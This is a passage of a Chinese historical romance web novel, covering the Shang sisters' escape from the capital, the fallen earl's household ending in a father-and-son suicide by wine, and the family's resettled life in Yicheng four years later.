这娘子压根就不是个心里能藏事的,江昱似有所感,缓步上前一步,不料商凝语又接连后退了两步。 江昱目光微顿,不再靠前,掀眸,定定地看着她,轻声道:“你说。” 商凝语舔了舔嘴唇,道:“我爹娘已经将我许给了霁哥哥,只等霁哥哥金榜题名,两家就开始议亲。” 江昱瞳孔骤缩,然而,他心中一直以来也有个疑惑,“我听程三提起过,你从岭南回京,是为了在京中择一佳婿,既然你家早有打算,你为何要回京?” 这句质问来得太过猛烈和直白,商凝语这下是真的惊惧地后退了一步,好在,她看清了江昱眼里的认真,明白了他是真的有此一问,而非恶意揣测、质疑和轻视。 于是,她也坦诚了,“霁哥哥家中环境不是太好,我爹娘担心我受苦,所以带我回京见见世面,并非要我一定在京城里相中一家。” 江昱懂了,“所以,那日在马球会上,你见够了世面,回去就告诉你四姐姐,决定回来等他上京赶考?” 他语调很轻,脑海中响起了那日画舫上,她斩钉截铁,咄咄认定的口气。 商凝语也想起了那日,顿时为自己那时初来乍到,竟然在外人面前吐露心声感到羞惭。 “嗯,是。” 原来如此,江昱深深阖上双目,苦笑地摇了摇头,扶额自嘲,“所以是我亲手将你推出去的?” 说时迟,那时快,商凝语瞅准时机,掉头往侧旁的巷道里跑去。 直待人影消失在转角,江昱方回神,察觉出了她的意图,那一刻,他心神炸裂,快步追上去。 女娘的体力到底是不如男子,而且,地上积雪厚重,此处又是无人行走的空巷,商凝语走的每一步,都在地上留下了一道道雪印。 很快,江昱追上来,将商凝语一把摁在墙上,怒斥:“那你为何就不能再等等?就这么一次,你就下定了决心?焉知不是你太过急躁,你这个蠢女人!” 商凝语哪里还会回答他这个问题,一击不中,立刻舍弃在这个方法上纠缠,拿出了第二招,趁着他现在心神不专的间隙,冲着他的下盘狠狠踢出一脚。 这是她练三脚猫功夫时,偷偷练下的第一招,快准狠,江昱一时不查,顿时痛得冷汗淋漓,心中毫不怀疑她是不是早就想报当初那句诋毁之仇。 眼看着她就要逃出去,他咬着牙,大喊:“商凝语!” 商凝语头也不回,隔着风雪,身后飘来几个字,“回岭南,才有自由。” 她心如明镜,目光越发坚定,朝着习艺馆的方向跑去- 宁平王失势,圣上下诏让商四娘进宫,宫里也只是挂了几副红绸,一个送喜的人也没有。商明惠在八名侍女的簇拥下,一步步走进宁平王挪出东宫后,暂住在东南方向的一座殿宇。 夜幕开合,洪庆山亲自带着人去内殿瞧了一眼侧妃,着令云锦好生伺候,而后放下册文和绶带金印,回到紫宸殿复命。 戌时初,红烛初燃,云锦拿着宫女的衣衫跪在商明惠面前,那名即将顶替宁平王侧妃的女子亦跪在一旁,云锦苦苦哀求:“一切都已经布置妥当,只要娘子能逃离,婢子这辈子都能安心,娘子想想先夫人,先夫人在天之灵,如何也不希望您余生都困守在皇陵里。” 商明惠目光轻颤,目光望向那张红疹密布的脸,问:“是谁派你来的?” 女子叩首,道:“民女不知,民女只知这是民女的机会,民女一生颠沛流离,从未吃过一顿饱饭,今生有幸,能与娘子有几分相似,还请娘子成全。” 虽行跪拜之礼,却不卑不亢,一言一行,与商四娘已有几分相似。 这却不是一朝一夕就能办到的,商明惠潸然泪下,良久,她哽咽道:“好,我听你们的。” 云锦喜笑颜开,替她换下婚服,与她说清楚逃脱路线,这宫中,商明惠来过数次,对各宫方位有大体的了解。 除夕那夜,宫里大乱,许多宫女被杀,而宣德帝的后宫妃子少,大多数被召进宫一直游走在宫墙后围虚度光阴的宫女和内侍,则趁乱逃出宫去,以至于初八这日,除了紫宸殿以及禹王暂住的殿宇四周戒备森严外,其余地方守卫并不多,只有巡逻守卫定期路过。 商明惠一路逃到了咸安门,果然有一名男子立在那里,男子头戴兜帽,遮掩了半张脸,在四角宫灯照映下,身形挺拔。 见到她,男子微微颔首,转身带着她出了宫门。 二人一路无话,直至进了国子监,国子监此时正是休假,馆中无一学子,只有刘管事在轮值。 四周一片漆黑,摸黑前来的二人对馆中路线十分熟悉,一前一后,脚步沉缓,向监学深处走去。 刘管事提着灯过来迎接,见到二人便要行礼,却被赵寰抬手制止了,刘管事也不坚持,引二人向目的地前去。 目的地在刘管事的值房内,他推开靠墙的半面书架,打开墙上壁灯上的机关按钮,半面墙左右转开。 刘管事朝商明惠做了个手势,“请。” 商明惠迟疑,走到灯下,将机关重新阖上,刘管事一惊:“四娘子,你这是何意?” 商明惠福礼,道:“还请刘管事退一步,我有几句话想与王爷说。” 刘管事扫了一眼赵寰,旋即颔首,将灯笼留下后,走到门外。 微弱的灯火下,二人的身影都有些模糊,赵寰看着墙面,指责道:“你应该尽快离开。” 商明惠却转到他身前,看着他,轻声问:“我想知道,当年你离开京城,是不是来不及和我说一声?” 没有索要详细的缘由,仅仅一个“来不及”,便包含了太多讯息。 赵寰回视她的目光,这是重逢以来,二人第一次看进对方的眼中,前程往事都不重要,危急关头,她要的只这一句回答。 他只迟疑了片刻,回答:“是。” 商明惠顿时释然了,舒缓一笑。 她这一笑,犹如芙蓉盛开,屏去了眉宇间积压多年的轻愁。 商明惠颔首,道:“如此,我就明白了,赵寰,你还是我的好朋友。” 赵寰看着她。 商明惠轻笑,“怎么?将来当了圣上,就不想与民女做朋友了?” 赵寰嘴角扯出一抹笑,倏地,他神色一变,将她拉至身后,面朝门外看去。 刘管事没想到商七娘会寻到这里,想将人哄走,人却直往屋里冲,商凝语甩不开刘管事的手,用身体撞开门,见到里面二人,她欣喜大喊:“四姐姐。” 商明惠一愣,“呦呦?”—— 作者有话说:哎呀呀,终于写到最后一刀了[彩虹屁] 第72章 年假期间, 习艺馆和国子监外围戒备森严,内部有管事值守,几处重要文书处以及书楼有重兵把守, 商凝语对门卫出示了艺馆女学的牌子,门卫通禀给值守的女先生, 值守女先生对她有点印象,将牌子交给门卫,允她进来, 并叮嘱她拿了东西尽快离开。 商凝语进了艺馆, 便绕书楼去了后门,翻墙而出,来到了国子监侧门,沿着国子监外墙,她巡视了一圈,原是想借着附近的高树再依葫芦画瓢爬墙进去, 却叫她寻到了国子监靠近旧书楼附近的一个狗洞, 狗洞外面杂草丛生,形成天然屏障, 狗洞内测有一块大石遮掩,显然是监学的学子为了出逃,故意开通的小道,一不小心被她找到了。 深夜里, 从狗洞里钻进来, 四野一片漆黑, 商凝语循着大体的方向往主院去,看见刘管事往门口而去时,她还在犹豫, 远远地躲藏起来,不曾想亲眼见着刘管事引进来两个人,待二人进屋,她远远辨出身形,才一上前就被拦住了。 万幸,刘管事不知出自何种原因,没有对她用全力,否则,她还真未必能惊动屋里的人。 商明惠面露惊讶,就只见商凝语向自己扑过来。 被抱了个满怀时,她微微一怔,不由得朝赵寰看去,却不经意间,看到了对方微不可察地蹙了一下眉梢。 商凝语激动不已,“四姐姐,你要走了吗?你去哪里?我能不能和你一起走?” 一连三问,商明惠无心再去探寻赵寰那一神情代表的意义,而是用目光求助地看向赵寰——她也不知道逃去哪里。 赵寰移开视线,道:“扬州。” 如此,商明惠明白了,程氏祖上来自于扬州云水桥,发家之后,举族搬迁至皇城脚下,而今云水桥再无程家人,去扬州,没有人能找到她。 商明惠将商凝语推开一点,道:“别说胡话,你去岭南,比随我去扬州要安全。” 才说了两句话,外面再次传来动静,来者动作很快,也很熟悉,赵寰眉头皱起,看到江昱推门进来,眼里闪过一丝诧异。 江昱一言不发,疾步冲向商凝语,商凝语没想到他这么快追上来,见到这样的他,头皮一炸,连忙往商明惠身后躲,目光忍不住往他身下瞧。 她那一脚,应该不轻啊。 商明惠不自觉地挡在她身前,防备地叫唤一声:“江昱。” 赵寰见状,伸手拦住横冲直撞的江昱。 江昱被自己最敬重的人拦住,也不抵抗,只面色阴沉地盯着商凝语,“我送你回岭南。” 语气强硬,却很难不令人遐想他二人之间的关系,商明惠和赵寰同时分别看向二人。 商凝语拒绝:“我的事与你没关系,你给我走开。” 江昱气得咬牙,“你信不信,我现在就去请旨,求圣上开恩,将你许配给我?” 他眼里发了狠,显然动了真格。 凭他的年龄和混账样,陡然请旨,指不定圣上真的就答应了,更何况,圣上一直很宠他。 商凝语不敢直视男人的眼睛,紧紧地攥着商明惠的衣袖,面色微微发白,缓了一缓,她好声劝道:“你这是何必?你是堂堂勇毅侯世子,我只是一个乡下来的野丫头,哪里配得上你?身份有别,你就不要管我的事了,行不行?” 江昱冷笑,“你茶艺不精要我教授技艺时,怎么不说我是堂堂世子这话?你寻到我跟前,问我要如何救你姐姐时,怎么不说身份有别?你救我的时候,怎么没想到男女授受不亲!现在才跟我说这些?晚了!” 商凝语讷讷失语,灯光微弱,她掀了眼皮,不小心对他对视上,这才发现他眼里缠上了几根血丝,眼底的急切与热烈叫人无法直视。 她不知道的是,江昱在外寻了半日,迟迟找不到她人,心里都快急疯了,甚至去了一趟伯府,找不到人最后才决定来监学,此刻哪里还听得进去她说这般绝情话。 商明惠惊疑,“呦呦,怎么回事?” 商凝语眼下急着出逃,根本不想在此事上纠缠耽误商明惠的时间,于是三言两语说明了缘由。 “上次马球会后,我告诉你我想嫁霁哥哥,后来,我就为了霁哥哥在艺馆努力学习,没想到遇到了几个坎儿,恰巧江世子都会,我就向他请教一二,没想到他有这个意思,我发誓,我绝对没有对他生出他说的私情。” 时辰不早,刘管事眼见有巡逻守卫过来,赶紧催促二人快走。 商凝语顿生喜意,有人过来,她不能被发现,就必须得跟商明惠走。 商明惠对江昱道:“强扭的瓜不甜,伯府今非昔比,与你已有云泥之别,就此别过,望你珍重。” 商凝语点头如捣蒜。 赵寰打开机关,商凝语诧异一瞬后,赶紧推商明惠进去,而后自己也跟了进去,脚掌落入密室的瞬间,她的心终于落了地。 墙面缓缓合上,发出轻微响动,她真切意识到,她与商明惠即将踏上逃亡的路。 笑容微微凝滞,她心头一颤,转身看去,觉得应该好好道个别,不料却撞进了一双猩红的眼。 男人轮廓锋利,愤懑的神情,与初始一见,惊为天人的玉面郎君已经有了些许不一样,商凝语话到口中,喉间一滞,却怎么也说不出口了。 恰在此时,墙面已经从二人眼前滑过,最后严丝合缝。 还真是,仓促啊。 商凝语将心底陡然生起的遗憾收拾好,和商明惠一起,往密室深处走。 墙面恢复如初,江昱落下眼睑,整个人如丧考妣,须臾,一把拉住转身欲要离开的赵寰,嗓音沙哑,问:“出口在哪里?” 赵寰口气冷淡,丢下一句“不知道”,扯出衣袖,就开门离去。 刘管事进来,执起灯笼,瞧了眼杵在一旁颓丧的身影,叹了口气,也离开屋子。 这是一间很大的密室,商明惠小声与她猜测,国子监旧书楼曾经被烧毁过,许多孤本墨宝被付之一炬,后来,建这个新楼,便在下面建了密室,为的是将来若再有一天,书楼遭遇不测,能来得及将那些书办到密室里来保存住。 密室很长,空气通畅,中间有几间很大的空洞,再往前走,道路越来越窄,二人不知走了多久,走累了,就在里面歇息,直到终于寻到了出口,爬出来后才发现出口在一口枯井里。 井口有一根绳索延伸下来,商凝语试了试,将绳索缠上腰间,商明惠见状有些意外,“你能爬出去?” 商凝语回过神,也有些意外。 这跟绳索显然是给商明惠准备的,没想到,她一深闺里的娇娇,竟也会这招。 二人相视一笑,商凝语动作麻利,商明惠动作迟缓,但有惊无险,先后爬出井口,枯井在一座院子里,四周无人,不知是故意安排,还是这本就是一座荒园。 二人先进屋子找到两套衣裳,换下之后,商凝语想去找些银子,可惜只找到不足十两的碎银,其余都是金玉首饰。 她在心里估算一下前去扬州需要的费用,抓了几个金贵的收进怀中。 夜幕降临,雪沫子再次自空中打着旋儿落了下来,二人一路摸出私人宅院,循着下江南的方向开始出逃,然而,再怎么逃,这也还是在京都城内,出城,就得从南城门走。 想必此时,江昱又等在了城门口。 屋漏偏逢连夜雨,夜半,二人以白纱遮面,在一家不起眼的小客栈落脚,才上楼,吃了顿饱饭,就听见有人敲门。 力道不小,但是商凝语开门却未瞧见人,顿生警惕,此时楼下再次传来几道官声,似是官府正在追查近日出逃的宫人。 她轻轻关上门,并未上闩,给商明惠打个手势,而后打开窗户,挑选房屋时,她特意选了一个二楼的屋子,便是方便逃脱。 率先落地后,她将放在角落的两个跛脚凳子架起来,扶着下面,商明惠踩着凳尖,一跃而下,二人猫着腰,藏到客栈的杂货间。 官兵寻到二楼,打开窗户往下瞧,扫视了一圈就缩回了脑袋。 经历了这样的事,二人也不敢再留在客栈,偷偷逃出去后,寻到一个巷子将就了一夜,天际发白,二人逃到南城门。 望着检查严谨的官差,商凝语陷入了深思。 她将商明惠拉至角落,开口道:“江昱不会抓你,你先出去,我另想办法。” 商明惠无奈地看着她:“江昱既然知道我和你在一起,只要被她发现了我,就一定派人跟着我出城,你也逃不掉。” 那不行。 商凝语皱起了眉头,忽然眼睛一亮,凑在商明惠耳边低语几句。 半炷香后,一名女子身着荆钗布裙,低着头走向城门。 藏在城楼旁第一家客栈的二楼厢房里的江昱,眼睛骤亮,朝城楼下给了一个手势,立刻开门出去。 江昱知晓,商凝语不会跟着商明惠出城,他要盯着的就是商明惠。 商明惠走后,南城门检查骤然松懈,不多时,商凝语伪装成要饭的乞丐,顺利出了城门。 江昱一路尾随商明惠,到了城门外的长亭,果然,有另一人乔装打扮前来相认,他欣喜,赶紧上前,去抓对方肩膀。 对方转过身来,却是一张陌生的脸。 他再去看另一张脸,满脸红点,却哪里是商明惠?分明也是一张陌生的脸。 这时,一位赵曦身边的暗卫着急寻来,见到他,拱手便问:“不知江世子,可有商娘子的下落?” 江昱问怎么回事,暗卫羞惭道:“圣上派人追杀,我们阻拦时,将两位娘子跟丢了。” 江昱却根据这一朝逃脱之法,推算出不是这么回事。 他顿时气笑了。 为了逃脱,她竟连禹王殿下派来的暗卫都给甩开了! 第73章 出发前, 商凝语询问商明惠,要不要给禹王殿下留点讯息。 商明惠只是想了片刻,便道不用, 望着商凝语不解的眼神,她解释:“从今往后, 我再也不是商家四娘子,再也没有进京的可能,既然如此, 不如彻底消失。” 口气里, 充满释怀和坚定。 于是,商凝语将商明惠假扮成乞丐,在南城门守卫松懈时,和自己一起潜逃出城。 装扮成乞丐并不难,难的是商明惠怎么改了她身上的气质,没想到商明惠只是折转去观察了巷角里的一对乞丐夫妇, 便拿捏了乔装的精髓, 忍着身上的污秽,和商凝语扮成乞讨的兄妹, 顺利逃过了检查。 商凝语猜测,江昱一定会以为她要用商明惠打掩护,于是,她顺从其意, 送了他一个烟雾弹, 逃出城后, 又变换了几个行头,终于在五日后,确信她们甩开了身后的追兵。 彼时, 她们已经偏离了去扬州的路线,准备直接去岭南。 走出没多日,京城快马加鞭,圣上薨逝的消息通过邸报的方式一遍遍传送下来,宁平王携王妃以及侧妃扶宣德帝的龙椁前往宛陵山的皇陵。 新帝登基了,改年号永宁。 听到消息,姐妹二人立刻折返,却又摸不准城内情况,便在京城附近的一座灵水镇暂时落了脚。 京城血洗的气象已经不再,新帝登基,大赦天下,街头巷尾又恢复了往日的热闹繁景,但忠勤伯府却陷入了前所未有的恐慌中。 没有人比老伯爷以及商大爷父子二人更加清楚,他们曾经在宁平王身上下了多大的赌注。 元宵未出,仅仅半月,那些效忠宁平王的官员们全部被拉下马,或是株连九族,或是流放千里,与欢庆喜乐的寻常百姓相比,已是天然反转。 可忠勤伯府这厢,却迟迟没有动静。 初一那日,诸多昔日投效宁平王的臣工偷偷向禹王殿下献媚,一方面积极替禹王殿下稳住皇城内各部事务,向禹王殿下表忠心,另一方面,其实心中已经不指望禹王殿下能继续任他们在朝为官,只期望殿下能容他们挂冠而去。 事到如今,能活着就已经是不错的结局。 新帝仁慈,宽恕了不少臣工,而商大伯在初一那日,也寻了借口,裹在献媚的队伍里向禹王殿下投了诚。 商家父子商议,决定舍弃爵位,搬离出京,回祖籍宜城。 但伯府的奏折犹如石沉大海,商大伯寻人打听,也一直未果,禹王殿下虽未追责,但兵马司的人日日在伯府巷口巡逻,京都城内再无人家愿意与伯府往来,新帝登基的那日,伯府便不准任何人进出了。 封府,意味着断绝粮食,虽然伯府地窖藏了米面,但瓜果蔬菜以及荤肉,全部没有。 不足三日,伯府往外递交了近十封书信,却全都杳无音讯。 元月二十这日,气候沉闷,花草枯萎,伯府内失去了烟火气,一早,观鹤堂就传来消息,府里的银丝炭短缺,老夫人夜里受了风寒,旧疾犯了,商晏竹命人煮了两桶艾草水,亲自替老夫人敷在筋骨上,晌午过后,方回翠竹堂。 入暮前,下人又到翠竹堂,说老伯爷有请。 商晏竹赶到书房,就见父亲坐在他那许久不曾晃动的摇椅上,府上接连数日缩减粮食,商佑德身形都清瘦了几分,此刻,他透过窗,看着窗外。 空中,飞过一群人字形排开的大雁。 商晏竹向窗外扫了一眼,垂下眼帘,上前行礼见安。 摇椅上下晃动,而后慢慢停住,夕阳的光斜落进屋子里,老伯爷姿势未动,问:“府上还能撑几日?” 商晏竹眼底流出一抹晦涩,道:“还剩最后一点米粮,今晚最后一顿。” 屋内倏地一顿静默。 商晏竹连忙补道:“二哥应该就在回城的路上,等二哥回来,还可以再撑几日。” 可二人都知道,商二爷未必能进府,新帝打定主意要让伯府自行灭亡,又怎会再留其余活路? 如今,老伯爷也回过神来,先帝赐婚,哪里是恩泽伯府,分明就是对伯府下了杀手。 或许是因为当初伯府帮了乔贵妃一脉,抑或是这么些年,伯府偷偷效忠乔氏一族,总归是成了先帝平衡两王下的一颗弃子。 老伯爷笑了笑,从肺腑里轻叹出一口气,道:“罢了,就不等他了,你上前来,陪我坐坐。” 商晏竹应是,端着锦杌在摇椅边坐下,老伯爷起先说了几件二三十多年前的事。 二三十多年前,商晏竹尚未娶妻,老伯爷对于自己将是爵位最后一代也早已知晓,并平静的接受。 彼时,伯府安之若素,老伯爷亦有一点才华,在京中担任了一个不大不小的官职,权重不大,但在京都中也算是个能说得上几句话的人,一家人,知足常乐,其乐融融。 商晏竹听到年幼几件趣事,古板的脸上出现几分柔和。 “你是我们家最聪慧的,你祖父和我,还有你娘,都最是喜欢你。”说到这里,老伯爷脸上洋溢着幸福的笑容,须臾,想起了那个令家族由盛转衰的真正转折点,脸上的笑意微顿,继而敛起。 旧事重提,他脸上已经没了怒,取而代之的是释然,“你说得对,当年为父确实没有错,错只错在,没有坚守住。” “若当年,你兄长得了世子位,我依旧效忠先帝,对乔家始终以礼相待,或许,惠姐儿就不会被圣上盯上,伯府眼下也就不是这种局面了。” “父亲,”商晏竹也已放下,“一切都过去了,我们回乡下,儿子这几年学会下田种地,凭着手艺和体力,也能养活一家人。” 老伯爷笑了,执起他的手查看,果然在掌心及指根处见到几摞厚茧。 欣慰道:“也好,我就知道,这一大家子终究还是要靠你,你二哥的官估计也做不下去了,到时候,把柏哥儿三兄妹也从他们舅家接过去,你当家作主,要照顾好兄嫂和几个侄儿。” “这是自然。”商晏竹心中释怀,这么些年,父亲终于肯放下执念,“其实,做个田舍翁也很不错,儿子早就向往了。” 老伯爷跟着面露向往,父子二人聊至暮色降临方歇,老伯爷赶儿子离开,商晏竹走出观鹤堂,身形微顿,着令仆从仔细盯着些。 没过多久,晚膳摆进了书房,只有一小碗米饭,以及一碟酱豇豆,老伯爷挥了挥手,吩咐老仆:“去将老大叫过来,再去地窖拿点酒,让我父子俩喝一杯。” 如今,伯府存粮不多,但酒管够,这样冷的夜,喝杯酒,无可厚非,仆从来禀时,商晏竹只沉吟片刻,着令仆从去拿。 不多时,商大伯走进观鹤堂,出现在书房门前,老伯爷只看了眼长子,就落下了眼帘。 整个伯府,变化最大的人就属商大伯,一夜暴瘦,往日健硕的身子,而今穿着旧衣,已显得有几分形销骨立。 “进来。” 老伯爷唤,人在长案前坐下。 商大伯走进屋子行礼后,坐在长案对面。 看着桌上仅有的一碗饭是放在自己这方,商大伯将饭端到老伯爷面前,道:“儿子来时已经用过膳了,这一碗,请父亲用。” 老伯爷并不推脱,这时,仆从也将商大伯的饭送了过来,商大伯面上闪现一丝尴尬,老伯爷平静道:“吃吧,吃完了,再陪我饮这最后一壶酒。” 商大伯面色一顿,眼底露出一抹了然,恭敬道:“是。” 饭不言,父子两吃完了米饭,老伯爷端着精致的小酒壶,给一人斟上一杯。 看着清澈的酒水,父子二人一时都没动。 大门紧闭,屋外的寒风呼啸,估摸着,凛冬就要过去了。 老伯爷先伸手,才碰上酒杯,就被商大伯一把捂住了杯口,商大伯垂首,悲痛道:“父亲,让我一个人来吧。” 语罢,他起身绕过长案,扑通一声跪倒在老伯爷面前,痛哭起来,“是我迷了心窍,害了商家。” 老伯爷眼眶湿润,拍了拍他的手背,良久,安慰道:“都过去了,是为父监管不力,你三弟,也从未怪过你。” 商大伯摇头,“是我受了乔家的蛊惑,引父亲上钩,圣上要伯府交代,只我一个就够了,父亲何必枉费性命?” “一条命怎么够?为父教导无方,持心不正,方才让他们有机可乘。”老伯爷轻轻一笑,扶着他起身,道:“你我父子一场,二人一同上路,也好有个伴。圣上念在我们有此决心,才能放过柏哥儿他们几个。别耽搁时辰了,你三弟机灵着,可千万别被他发现了。” 商大伯忙应声抹泪,回到座位上,端起酒杯,父子二人高举,一饮而尽。 夜半,伯府中轴正堂,传来一道凄厉的哭喊,商晏竹身形一晃,手中巾帕倏地掉进脸盆里,水花四溅。 忠勤伯府一夜素缟。 宫里很快得了消息,不出两日,城中高门大户纷纷派人前来吊唁,第三日,商晏竹上书,请求带着一家老小,扶灵回乡。 新帝允。 子孙齐聚、热闹喧阗的忠勤伯府,才不足一年,人去楼空—— 作者有话说:下一章,直接是四年后,不知道这节奏,快不快[坏笑] 第74章 一晃, 四年过去。 父死子孝三年,这已经到了第五个年头,春。 宜城是江南一座边陲小城, 气候适宜,初进二月, 就已经有了万物复苏,春暖花开的景象。 在宜城城北宜和街尽头的名贤巷,有一座宽大的宅院, 便是如今商家一大家子人如今的住处。 这座宅院自不能与京都伯府相比, 但里面屋宇比邻,除了缺少亭台楼榭,长曲回廊,倒也是很宽敞,且因少了这些许浪费腿脚的步程,几家人反而比从前更加热络。 新宅中轴主线里面的正屋, 原先住着老夫人, 后来扶灵南下,老夫人身体每况愈下, 不出半年,也撒手人寰了。 而今出孝,年初之际,商二爷就催促着商晏竹, 要他夫妇搬进主院, 商晏竹并未再推脱, 因为当时,他确实需要多空出一个院子来。 新宅并未再给各院命名,而是直接以东西二园相称, 东园住着长房一家,西园住着二房一家,三房兄妹几个就住在主院旁边的偏院里。 而东园宽敞,原本一分为二,其中之一是商晏竹夫妇搬进主院之前住着的园子,搬出来后,将园子重新修整一番,推掉中间的石墙,改作书院,单独命了个名字叫杏园,专门招揽宜城少儿前来学文学艺。 这日,临近晌午,杏园上的是花艺课,商凝语作为先生,从课堂上下来后,将绒花交给点翠,而后径自从东北中间的百步廊到了主院后的一间偏僻小屋。 门口侍女见到她,立刻回身禀了一声,并敞开门,商凝语提着裙裾跨过门槛,只见商明惠端坐在书案前,伏案练字,一看半卷的书册,便知她又是在抄佛经。 商凝语盘腿坐至对面,叹:“除服都已经快半年,你还要抄?” 当年,商凝语姐妹得知消息时,正是商晏竹扶着父兄灵柩出城之日,二人一得了消息,连忙收拾了简单的行囊,重新打扮成乞丐,一路寻人问路,直至抵达宜城境地,方追上送葬队。 下葬那日,田氏带着商凝言赶到了宜城,商家四散逃出在外的子孙,全部哭倒在坟前,从任上谴责回京,不出三日就马不停蹄地扶灵南下的商二爷,协助商三爷办完了葬礼。 后来,老夫人病重,临去前,已经绝食数日,昔日保养得当的面容,已然瘦骨嶙峋,只剩下一副皮包骨头。 她拉着商明惠的手迟迟不肯放下,商三爷屏退众人,留祖孙俩说了半天的话,方听商明惠呜咽泣不成声的动静传来。 起初,初次聚集在宜城的三房,并不和谐。贺氏难以走出失去丈夫的阴影,却又无法怨怼任何人,只能将气洒在从娘家回来的长媳卞氏身上,二房羸弱,将委屈吞进肚子里,却也总想找点茬表示不满。 直至老夫人的离去,众人失去了主心骨,这才渐渐消停下来,一大家子,齐心协力,维持住了和平。 而这些争吵的中心,都离不开一个商明惠。 那半年,大房和二房两位夫人几乎怨毒了商明惠,什么脏话狠话都往她身上招呼,商凝语曾一度想要带商明惠回岭南,却被商明惠拒绝了。 老夫人死去后,国公府派人前来吊唁,程家有一位偏房夫人,曾经有一女儿流落在外,后来落了水再也没救上来,老太君做主,让这位程夫人收了商明惠作义女,从此以后,商明惠便是寄居在商家的表小姐,再无人敢对她置喙。 而她自己,也偏居在这方小院里,开始了抄经念佛,为老夫人祈福的独居生活。 商凝语问完话,商明惠恰好收尾,将经书整理成一摞,道:“我整日也无事,不如打发时间。” “那就出去走走嘛。”商凝语提议,“整日闷在家里,我都憋坏了,午后我们要去跑马,你陪我们一起去,行不行?” 商明惠有些迟疑,商凝语心知她担心什么,忙劝慰:“你脸上的疹子已经完全看不到痕迹,这地方距离京都一千多里,我平日出门就从未见到过熟人,不会有人认出你的。” 国公府的表姑娘寄居在商家,左邻右舍都有耳闻,商家并未刻意隐瞒,为的便是防止引起不必要的猜疑。 近日,商晏竹正打算寻一名乡绅之子,将她就此嫁过去,从此以后过安稳日子。 商明惠闻言,放下芥蒂,答应她出去走走,不过,跑马太过打眼,她想等到明日,去紫云寺上柱香。 商凝语想了想,她明日沐休,上午就上午。 午后用过膳,商明惠换了身衣裳,离开后屋。 她要先去给田氏说一声明日出府的事,如今府里是田氏主持中馈,而家丁护卫骤减,进出府都要提前请示,以便提前安排好马车和随侍。 进了主院屋内,恰巧见到正与田氏说笑的贺氏,不知是说起什么,一项不苟言笑的贺氏,笑得十分开怀。 商明惠心念一转,心中大约猜出源头,垂眸信步上前,给田氏请安。 贺氏见到她,脸上笑意微敛,但神色不如往日冷冽。 田氏不等商明惠行完礼,就将人托了起来,笑道:“贺家差人送来消息,说菁姐儿有了身孕,已经三个月了。” 果然如此。 去年一出服,贺家就遣了媒人过来商议婚事,冬季初,商明菁出嫁,这样算来,商明菁嫁过去一月就结了果。 商明惠笑意融融,“恭喜大伯母,等五妹妹生了,我给孩子添贺礼。” 商家家业不显,扶灵南下时,便打定了主意,今后不会再回京,于是将能变卖的产业全部变卖了,全部折算后统共拢在手里的只有一万两银子,而后在宜城定居,购置宅院、家具,再买了数十亩田地和一个点心铺子,供家中爵用,再替商明菁凑足了嫁妆,如今剩下的不足三千两。 这些贺氏都门儿清,她还有一个儿子要续弦,因此也舍不得中馈给娘家添再多银子,但商明惠手里的银子不一样,那是当初国公府派人来认亲时,特意留下的,表明了是商明惠寄居在商家的生活费,以及将来出嫁的嫁妆,那可是一笔不菲的财富。 果然,贺氏听了,面上生喜,“那我就替菁姐儿先谢过你了。” 说完正事,田氏见商明惠难得出了偏院,便询问她可是有事,商明惠将明日出行说了,田氏一听,顿时喜笑颜开,“去紫云寺好,听说去那里求姻缘十分灵验,我明日和你们一起去。” 商明惠笑容一顿,却也不好多说什么,只好应下。 贺氏目光从她身上扫过,移开了目光。 翌日,商凝语得了消息,不由得仰天哀嚎,田氏揪着她的耳朵,给人拽到一边恨声叮嘱:“惠姐儿的婚事我管不着,你今个儿给我求根签,问问月老,你这姻缘何时能成?” “我这不就快成了吗?再催人家月老不乐意了。”商凝语嘟喃。 “呸呸呸,贺家去年上半年就派人过来送信问日子,你这到现在一点消息都没有,再快要到什么时候?我要的是修成正果!” 只言片语传开去,商明惠听后,抿唇轻笑。 也是到了宜城,她才真正领略到继母和继妹的相处模式,眼下,早已经习以为常。 商凝语理亏。 永宁元年,新帝开恩科,陆霁夺得乡试魁首,翌日春闱,一举斩下探花之名,而后入翰林当正七品编修,也正是这个时候,商凝语受商父科普,才知晓大盛朝官员的薪资少得可怜,每月只有十石米,五匹绢,外加五两银子,以及其他货物附赠。 对于陆霁一人来说,靠这些生活绰绰有余,但他每季度要寄十两银子回岭南,剩余积攒下来,就难以支撑他给商凝语的聘礼了。 商凝语简直无法想象,她若是就这般嫁回京都,得有多惨。 昔日她好歹是正经的伯府女娘,却也免不了被那些贵女们嘲笑,这回回去,不仅失去贵女的身份,连基本的生活保障都成了问题,更何况作为编修的妻子,必然会有一些应酬,简直想想就是地狱修罗场。 因此,在陆霁写信来说,他爹娘去了京城,他只有先安顿好父母,才能重新想办法攒钱下聘时,商凝语私心有一点窃喜。 翰林三年一考核,去年陆霁考核为优,按理,他今年就会外放,商父早因此生出担忧,预测他外放不会去很好的地方,担心女儿会跟着去吃苦。 商凝语既然早有准备,哪里还会在乎这个,岭南的苦都吃过来了,不信普天之下,还有比岭南更苦的地方。 她满心期待,等陆霁外放后,迎娶她进门,远离京都,在没有熟人的地方,相夫教子,夫唱妇随。 商凝语现在就等吏部下达文书,将陆霁新任官职表明了,一听田氏催婚就头疼,赶紧甩了田氏的手,拉着商明惠坐进马车。 给田氏起了个倒仰。 其实,田氏也并非就是希望女儿立刻出嫁,她就是希望陆霁能将婚事过了明路,伯府已然这样,京都城里必然少不了轻视商家而觊觎姑爷的门第,这样拖着,何时是个尽头? 常言道,夜长梦多。 眼见二人一前一后进了马车,显然刚吵过的模样,商明惠嘴角扬起一丝微笑,也跟着劝商凝语,“女儿家婚事耽误不得,的确是可以去信问一问。” 田氏顿时眼睛一亮,睨着商凝语道:“看吧,你姐姐都这般说了。” 商凝语双眉一蹙,莫非,真的是她考虑不周了? 到了紫云寺,三人步下马车,住持得了消息,亲自出门迎接。 商家算是宜城数一数二的乡绅,因此格外受当地官员豪绅的礼待,住持不敢怠慢,将三人引至大雄宝殿,而后听田氏之言,引二位女娘去了月老殿—— 作者有话说:宝子们,好久没看到留言了,快给我看看还有多少老朋友[害羞] 第75章 紫云寺乃宜城这一带的古刹名寺, 依山傍水,松柏环绕,殿内宝相庄严, 殿外,古意盎然, 香雾缭绕,山顶可闻悠远钟声。 从月老殿出来,商凝语便说要去逛逛, 田氏的要求都得了满足, 也不再拘着她们,请住持找了个沙弥给她二人引路。 姐妹二人循着石阶胡乱走着,走到一座庙前,院中有一片放生池,池水清澈见底,锦鲤活跃, 商明惠招呼一声, 进了庙里。 商明惠来紫云寺是为祈福,她想给那位替她在皇陵守孝的女子向佛祖求个平安。 商凝语在外闲逛, 